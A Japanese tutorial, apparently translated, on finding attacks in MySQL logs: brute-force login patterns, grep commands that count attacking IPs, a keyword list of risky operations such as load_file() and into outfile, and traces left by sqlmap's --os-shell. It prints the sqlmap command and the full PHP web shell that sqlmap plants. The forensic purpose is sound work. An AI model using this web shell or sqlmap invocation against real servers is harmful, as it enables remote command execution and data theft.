一般的なデータベース攻撃には、脆弱なパスワード、SQL インジェクション、権限の昇格、バックアップの盗難などが含まれます。データベースのログを分析することで、攻撃動作を発見し、攻撃シナリオをさらに復元し、攻撃源を追跡できます。
1. Mysql ログ分析
一般的なクエリ ログには、成功した接続と実行された各クエリが記録されます。セキュリティ導入の一部として使用して、トラブルシューティングを行うことができます。分析やハッキング後の調査の基礎となります。
1. ログ構成情報を表示します
show variables like '%general%';
2. ログを有効にします
SET GLOBAL general_log = 'On';
3. ログ ファイルのパスを指定します
SET GLOBAL general_log_file = '/var/lib/mysql/mysql.log';
たとえば、 /test .php?id=1 にアクセスすると、この時点で次のようなログが得られます:
190604 14:46:14 14 Connect root@localhost on 14 Init DB test 14 Query SELECT * FROM admin WHERE id = 1 14 Quit
列ごとに解析してみましょう:
最初の列: Time、時間列、最初のものは日付、最後のものは日付 1 つは時と分ですが、これらが表示されない理由としては、これらの SQL ステートメントがほぼ同時に実行されるため、時間が個別に記録されないことが考えられます。
2 番目の列: Id は、show processlist の最初の列のスレッド ID です。接続が長く、時間のかかる SQL ステートメントの場合、どのスレッドが実行されているかを正確に知ることができます。
3 番目の列: コマンド、操作タイプ。たとえば、Connect はデータベースに接続すること、Query はデータベースにクエリすること (追加、削除、チェック、変更はすべてクエリとして表示されます)、一部の操作は実行できます。特別にフィルタリングされます。
4 番目の列: 引数、詳細情報 (例: Connect root@localhost on はデータベースに接続する手段など)、データベースに接続した後にどのようなクエリ操作が実行されたか。
2. ログインの成功/失敗
簡単なテストをしてみましょう。以前開発した脆弱なパスワード ツールを使用してスキャンします。辞書の設定は比較的小さいです。 2 ユーザー、4 パスワード、合計 8 グループ。
MySQL のログ レコードは次のようになります:
Time Id Command Argument 190601 22:03:20 98 Connect root@192.168.204.1 on 98 Connect Access denied for user 'root'@'192.168.204.1' (using password: YES) 103 Connect mysql@192.168.204.1 on 103 Connect Access denied for user 'mysql'@'192.168.204.1' (using password: YES) 104 Connect mysql@192.168.204.1 on 104 Connect Access denied for user 'mysql'@'192.168.204.1' (using password: YES) 100 Connect root@192.168.204.1 on 101 Connect root@192.168.204.1 on 101 Connect Access denied for user 'root'@'192.168.204.1' (using password: YES) 99 Connect root@192.168.204.1 on 99 Connect Access denied for user 'root'@'192.168.204.1' (using password: YES) 105 Connect mysql@192.168.204.1 on 105 Connect Access denied for user 'mysql'@'192.168.204.1' (using password: YES) 100 Query set autocommit=0 102 Connect mysql@192.168.204.1 on 102 Connect Access denied for user 'mysql'@'192.168.204.1' (using password: YES) 100 Quit
このパスワード推測プロセスでどれが成功したかわかりますか?
ブラスト ツールを使用すると、成功したパスワード推測の記録は次のようになります:
190601 22:03:20 100 Connectroot@192.168.204.1 on 100 Queryset autocommit=0 100 Quit
ただし、他の方法を使用する場合は、少し異なる可能性があります。
Navicat for MySQL ログイン:
190601 22:14:07 106 Connectroot@192.168.204.1 on 106 QuerySET NAMES utf8 106 QuerySHOW VARIABLES LIKE 'lower_case_%' 106 QuerySHOW VARIABLES LIKE 'profiling' 106 QuerySHOW DATABASES
コマンド ライン ログイン:
190601 22:17:25 111 Connectroot@localhost on 111 Queryselect @@version_comment limit 1 190601 22:17:56 111 Quit
違いは、データベース接続ツールが異なれば、データベース接続の初期化プロセスに異なるプロセスがあることです。 。この違いにより、ユーザーがデータベースにどのように接続するかを簡単に判断できます。
さらに、ブラスト ツール、Navicat for MySQL、またはコマンド ラインを使用した場合でも、ログインの失敗は同じように記録されます。
ログイン失敗記録:
102 Connect mysql@192.168.204.1 on 102 Connect Access denied for user 'mysql'@'192.168.204.1' (using password: YES)
簡単な分析にはシェル コマンドを使用します:
どの IP が爆破されているか?
grep "Access denied" mysql.log |cut -d "'" -f4|uniq -c|sort -nr 27 192.168.204.1
爆破ユーザー名の辞書とは何ですか?
grep "Access denied" mysql.log |cut -d "'" -f2|uniq -c|sort - nr 13 mysql 12 root 1 root 1 mysql
ログ分析では、テーブルの削除、データベースの準備、ファイルの読み取りと書き込みなど、一部の機密性の高い操作に特別な注意を払う必要があります。
キーワード: テーブルのドロップ、関数のドロップ、テーブルのロック、テーブルのロック解除、load_file()、outfile へ、dumpfile へ。
機密性の高いデータベース テーブル: SELECT * from mysql.user、SELECT * from mysql.func
3. SQL インジェクション侵入の痕跡
SQL インジェクションの脆弱性の使用この処理では、sqlmap の --os-shell パラメータを使用してシェルを取得しようとしますが、操作に注意しないと、sqlmap で作成された一時テーブルやカスタム関数が残る可能性があります。まず、sqlmap os-shell パラメータの使用法と原則を見てみましょう:
1. SQL インジェクション ポイントを構築し、Burp がポート 8080 をリッスンできるようにします
sqlmap.py -u http://192.168.204.164/sql.php?id=1 --os-shell --proxy=http://127.0.0.1:8080
HTTP 通信プロセスは次のとおりです。
一時ファイル tmpbwyov.php を作成し、このトロイの木馬にアクセスしてシステム コマンドを実行し、ページ表示に戻ります。
tmpbwyov.php: <?php $c=$_REQUEST["cmd"];@set_time_limit(0);@ignore_user_abort(1);@ini_set('max_execution_time',0);$z=@ini_get('disable_functions');if(!empty($z)){$z=preg_replace('/[, ]+/',',',$z);$z=explode(',',$z);$z=array_map('trim',$z);}else{$z=array();}$c=$c." 2>&1n";function f($n){global $z;return is_callable($n)and!in_array($n,$z);}if(f('system')){ob_start();system($c);$w=ob_get_contents();ob_end_clean();}elseif(f('proc_open')){$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);$w=NULL;while(!feof($t[1])){$w.=fread($t[1],512);}@proc_close($y);}elseif(f('shell_exec')){$w=shell_exec($c);}elseif(f('passthru')){ob_start();passthru($c);$w=ob_get_contents();ob_end_clean();}elseif(f('popen')){$x=popen($c,r);$w=NULL;if(is_resource($x)){while(!feof($x)){$w.=fread($x,512);}}@pclose($x);}elseif(f('exec')){$w=array();exec($c,$w);$w=join(chr(10),$w).chr(10);}else{$w=0;}print "<pre class="brush:php;toolbar:false">".$w."";?>`
一時テーブル sqlmapoutput を作成し、ストアド プロシージャを呼び出してシステム コマンドを実行して一時テーブルにデータを書き込み、一時テーブルからデータを取得してフロントエンドに表示します。
Web サイトのディレクトリ内に最近作成された不審なファイルを確認することで、SQL インジェクションの脆弱性攻撃が発生したかどうかを判断できます。
確認方法:
1. Web サイトのディレクトリにトロイの木馬ファイルがあるかどうかを確認します:
2. 存在するかどうかを確認します。 UDF ファイル 権限と MOF 権限昇格のトレース
ディレクトリ内に異常なファイルがないか確認
mysqllibpluginc:/windows/system32/wbem/mof/
関数が削除されていないか確認
select * from mysql.func
3.Webログと組み合わせる分析。
推奨チュートリアル: Web サーバーのセキュリティ
以上がデータベースログを分析する方法の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。